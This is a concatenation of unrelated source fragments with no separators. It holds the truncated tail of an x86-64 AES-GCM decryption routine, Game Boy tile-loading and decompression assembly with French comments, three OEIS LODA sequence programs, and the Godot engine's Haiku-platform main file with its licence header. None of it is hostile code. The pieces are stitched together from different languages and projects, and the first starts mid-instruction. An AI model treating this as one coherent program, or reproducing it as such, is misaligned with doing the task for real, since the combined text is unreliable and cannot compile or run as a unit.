%xmm2, %xmm2 pclmulqdq $(17), %xmm0, %xmm3 pxor %xmm1, %xmm4 pxor %xmm3, %xmm4 palignr $(8), %xmm4, %xmm2 pslldq $(8), %xmm4 pxor %xmm2, %xmm3 pxor %xmm4, %xmm1 movdqa %xmm1, %xmm2 movdqa %xmm1, %xmm4 movdqa %xmm1, %xmm15 psllq $(63), %xmm2 psllq $(62), %xmm4 psllq $(57), %xmm15 pxor %xmm4, %xmm2 pxor %xmm15, %xmm2 movdqa %xmm2, %xmm4 pslldq $(8), %xmm4 psrldq $(8), %xmm2 pxor %xmm4, %xmm1 pxor %xmm2, %xmm3 movdqa %xmm1, %xmm4 psrlq $(5), %xmm4 pxor %xmm1, %xmm4 psrlq $(1), %xmm4 pxor %xmm1, %xmm4 psrlq $(1), %xmm4 pxor %xmm4, %xmm1 pxor %xmm3, %xmm1 movdqa %xmm1, (32)(%rsp) sub $(16), %rax jg .Lblk_loopgas_5 .Lquitgas_5: movdqa (%rsp), %xmm0 movdqa (16)(%rsp), %xmm1 movdqa (32)(%rsp), %xmm2 mov (152)(%rsp), %rax mov (160)(%rsp), %rbx mov (144)(%rsp), %rcx pshufb SHUF_CONST(%rip), %xmm0 movdqu %xmm0, (%rax) movdqu %xmm1, (%rbx) pshufb SHUF_CONST(%rip), %xmm2 movdqu %xmm2, (%rcx) add $(128), %rsp pop %rbx ret .Lfe5: .size AesGcmDec_avx, .Lfe5-(AesGcmDec_avx)
loadtiles_auto: ldi a,(hl) or a jr z,loadtiles_1BPP ;00: 1BPP raw bit 0,a jr z,loadtiles_2BPP ;10: 2BPP raw bit 1,a jr z,loadtiles_1BPPc ;01: 1BPP compressed jr loadtiles_2BPPc ;11: 2BPP compressed ;hl=data ;de=vram ;bc=taille loadtiles_1BPP: ldi a,(hl) ld b,a ldi a,(hl) ld c,a -: ldi a,(hl) ld (de),a inc de ld (de),a inc de dec bc ld a,b or c jr nz,- ret ;hl=data ;de=vram ;bc=taille loadtiles_2BPP: ldi a,(hl) ld b,a ldi a,(hl) ld c,a -: ldi a,(hl) ld (de),a inc de dec bc ld a,b or c jr nz,- ret ;hl=data ;de=vram loadtiles_1BPPc: ldi a,(hl) or a ret z bit 7,a ;bit7=1:compressed jr nz,compressed1 and $7F ;bit7=0:normal ld b,a loadnormal1: ldi a,(hl) ld (de),a inc de ld (de),a inc de dec b jr nz,loadnormal1 jr loadtiles_1BPPc compressed1: and $7F ld b,a ldi a,(hl) loadcompressed1: ld (de),a inc de ld (de),a inc de dec b jr nz,loadcompressed1 jr loadtiles_1BPPc ;hl=data ;de=vram loadtiles_2BPPcr: ldh a,($FF) push af xor a ldh ($FF),a ld c,$41 ;BP0 push de call decompressr pop de inc de ;BP1 call decompressr pop af ldh ($FF),a ret ;hl=data ;de=vram loadtiles_2BPPc: ldh a,($FF) push af xor a ldh ($FF),a ld c,$41 ;BP0 push de call decompress pop de inc de ;BP1 call decompress pop af ldh ($FF),a ret decompress: ldi a,(hl) or a ret z bit 7,a ;bit7=1:compressed jr nz,compressed and $7F ;bit7=0:normal ld b,a loadnormal: -: ld a,($FF00+c) ;mode vram ok ? and 3 cp 2 jr nc,- ldi a,(hl) ld (de),a inc de ;sauter un bitplane (charge plus tard) inc de dec b jr nz,loadnormal jr decompress compressed: and $7F ld b,a ldi a,(hl) loadcompressed: push af -: ld a,($FF00+c) ;mode vram ok ? and 3 cp 2 jr nc,- pop af ld (de),a inc de ;sauter un bitplane (charge plus tard) inc de dec b jr nz,loadcompressed jr decompress decompressr: ldi a,(hl) or a ret z bit 7,a ;bit7=1:compressed jr nz,compressedr and $7F ;bit7=0:normal ld b,a loadnormalr: -: ld a,($FF00+c) ;mode vram ok ? and 3 cp 2 jr nc,- ldi a,(hl) xor $FF ld (de),a inc de ;sauter un bitplane (charge plus tard) inc de dec b jr nz,loadnormalr jr decompressr compressedr: and $7F ld b,a ldi a,(hl) xor $FF loadcompressedr: push af -: ld a,($FF00+c) ;mode vram ok ? and 3 cp 2 jr nc,- pop af ld (de),a inc de ;sauter un bitplane (charge plus tard) inc de dec b jr nz,loadcompressedr jr decompressr
; A285967: Positions of 0 in A285966; complement of A285968. ; 1,3,5,6,8,9,11,13,15,16,18,20,21,23,25,26,28,29,31,33,34,36,38,39,41,43,45,46,48,49,51,53,55,56,58,60,61,63,65,66,68,70,72,73,75,76,78,80,81,83,85,86,88,89,91,93,95,96,98,100,101,103,105,106,108,109,111,113,114,116,118,119,121,123,125,126,128,129,131,133,134,136,138,139,141,142,144,146,148,149,151,153,154,156,158,159,161,163,165,166 mov $2,$0 mul $0,2 seq $0,285958 ; Positions of 0 in A285957; complement of A285959. sub $0,4084 sub $2,84360 sub $0,$2 sub $0,80276
; A000227: Nearest integer to e^n. ; Submitted by Jon Maiga ; 1,3,7,20,55,148,403,1097,2981,8103,22026,59874,162755,442413,1202604,3269017,8886111,24154953,65659969,178482301,485165195,1318815734,3584912846,9744803446,26489122130,72004899337,195729609429,532048240602,1446257064291,3931334297144,10686474581524,29048849665247,78962960182681,214643579785916,583461742527455,1586013452313431,4311231547115195,11719142372802611,31855931757113756,86593400423993747,235385266837019985,639843493530054949,1739274941520501047,4727839468229346561,12851600114359308276 mov $1,1 mov $3,$0 mul $3,4 lpb $3 add $2,$1 mul $1,$3 mov $4,$0 cmp $4,0 add $0,$4 div $1,$0 add $2,$1 sub $3,1 lpe div $2,2 div $2,$1 mov $0,$2 add $0,1
; A101677: a(n) = a(n-1) - 2*a(n-2) + 2*a(n-3) - 2*a(n-4) + 2*a(n-5) - a(n-6). ; 1,1,-1,-2,-2,-2,-1,-1,-3,-4,-4,-4,-3,-3,-5,-6,-6,-6,-5,-5,-7,-8,-8,-8,-7,-7,-9,-10,-10,-10,-9,-9,-11,-12,-12,-12,-11,-11,-13,-14,-14,-14,-13,-13,-15,-16,-16,-16,-15,-15,-17,-18,-18,-18,-17,-17,-19,-20,-20,-20,-19,-19,-21,-22,-22,-22,-21,-21,-23,-24,-24,-24,-23,-23,-25,-26,-26,-26,-25,-25,-27,-28,-28,-28,-27,-27,-29,-30,-30,-30,-29,-29,-31,-32,-32,-32,-31,-31,-33,-34,-34,-34,-33,-33,-35,-36,-36,-36,-35,-35,-37,-38,-38,-38,-37,-37,-39,-40,-40,-40,-39,-39,-41,-42,-42,-42,-41,-41,-43,-44,-44,-44,-43,-43,-45,-46,-46,-46,-45,-45,-47,-48,-48,-48,-47,-47,-49,-50,-50,-50,-49,-49,-51,-52,-52,-52,-51,-51,-53,-54,-54,-54,-53,-53,-55,-56,-56,-56,-55,-55,-57,-58,-58,-58,-57,-57,-59,-60,-60,-60,-59,-59,-61,-62,-62,-62,-61,-61,-63,-64,-64,-64,-63,-63,-65,-66,-66,-66,-65,-65,-67,-68,-68,-68,-67,-67,-69,-70,-70,-70,-69,-69,-71,-72,-72,-72,-71,-71,-73,-74,-74,-74,-73,-73,-75,-76,-76,-76,-75,-75,-77,-78,-78,-78,-77,-77,-79,-80,-80,-80,-79,-79,-81,-82,-82,-82,-81,-81,-83,-84 add $0,6 mov $1,$0 mov $2,6 mov $4,2 mov $5,1 lpb $1 add $2,1 lpb $5 div $0,$4 add $3,1001 add $0,$3 add $0,2 div $1,3 sub $2,4 add $3,$0 mov $0,$2 sub $5,$5 lpe sub $1,1 lpe gcd $0,$3 sub $0,$2 mov $1,1 add $1,$0 add $1,1
/*************************************************************************/ /* godot_haiku.cpp */ /*************************************************************************/ /* This file is part of: */ /* GODOT ENGINE */ /* https://godotengine.org */ /*************************************************************************/ /* Copyright (c) 2007-2017 Juan Linietsky, Ariel Manzur. */ /* Copyright (c) 2014-2017 Godot Engine contributors (cf. AUTHORS.md) */ /* */ /* Permission is hereby granted, free of charge, to any person obtaining */ /* a copy of this software and associated documentation files (the */ /* "Software"), to deal in the Software without restriction, including */ /* without limitation the rights to use, copy, modify, merge, publish, */ /* distribute, sublicense, and/or sell copies of the Software, and to */ /* permit persons to whom the Software is furnished to do so, subject to */ /* the following conditions: */ /* */ /* The above copyright notice and this permission notice shall be */ /* included in all copies or substantial portions of the Software. */ /* */ /* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */ /* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */ /* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/ /* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */ /* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */ /* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */ /* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /*************************************************************************/ #include "main/main.h" #include "os_haiku.h" int main(int argc, char *argv[]) { OS_Haiku os; Error error = Main::setup(argv[0], argc - 1, &argv[1]); if (error != OK) { return 255; } if (Main::start()) { os.run(); } Main::cleanup(); return os.get_exit_code(); }